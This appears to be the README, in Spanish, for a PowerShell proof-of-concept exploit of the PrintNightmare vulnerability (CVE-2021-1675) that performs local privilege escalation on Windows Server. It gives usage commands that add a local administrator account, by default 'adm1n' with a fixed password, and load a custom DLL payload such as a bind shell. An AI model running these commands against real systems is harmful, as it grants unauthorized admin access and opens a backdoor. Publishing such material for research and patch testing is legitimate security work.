
Caleb Stewart | John Hammond | 1 de junio de 2021
CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada de privilegios local denominada "PrintNightmare".
Se han publicado exploits de prueba de concepto (Python, C++) para la capacidad de ejecución remota de código, y una versión en C# para la escalada de privilegios local. No habíamos visto una implementación nativa en PowerShell puro, y queríamos intentar refinar y reelaborar el exploit.
Este script de PowerShell realiza una escalada de privilegios local (LPE) con la técnica de ataque PrintNightmare.

Esto se ha probado en Windows Server 2016 y Windows Server 2019.
Añade un nuevo usuario al grupo de administradores locales de forma predeterminada:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Proporciona una carga útil DLL personalizada, para hacer cualquier otra cosa que desees.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"